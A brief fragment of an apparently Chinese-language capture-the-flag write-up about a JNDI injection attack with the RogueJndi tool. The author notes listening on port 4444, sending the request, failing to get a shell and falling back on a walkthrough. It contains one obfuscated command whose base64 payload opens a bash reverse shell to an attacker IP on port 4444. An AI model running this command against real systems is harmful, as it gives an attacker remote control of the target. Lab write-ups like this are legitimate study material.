java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjQvNDQ0NCAwPiYxCg==}|
{base64,-d}|{bash,-i}" --hostname "{10.10.16.24}"

image-20230409165256890

监听4444端口

image-20230409165154264

进行发包

image-20230409165324463

因为弹shell死活弹不成功 所以就直接看wp就行了

wp来看这篇就行了 文章